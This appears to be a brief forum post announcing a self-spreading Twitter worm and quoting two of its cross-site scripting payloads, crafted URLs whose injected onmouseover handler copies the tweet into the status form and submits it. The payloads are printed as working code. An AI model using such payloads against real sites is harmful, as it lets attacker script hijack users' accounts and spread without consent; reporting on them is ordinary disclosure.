A Twitter Worm In The Wild!

beranger:

There is a new Twitter malware that spreads itself when a user hovers the mouse over an infected tweet that looks like a black area.

Looks of an infected tweet:

Code:

http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()" style="color:#000;background:#000;

Colored (red) variant:

http://t.co/@"onmouseover="document.getElementById('status').value='RT test_nau';$('.status-update-form').submit();"style="background:red"

Long live Web 2.0!

P.S.: Seesmic, TweetDeck, Brizzly, Snaptu and possibly other tools are not affected by this exploit.
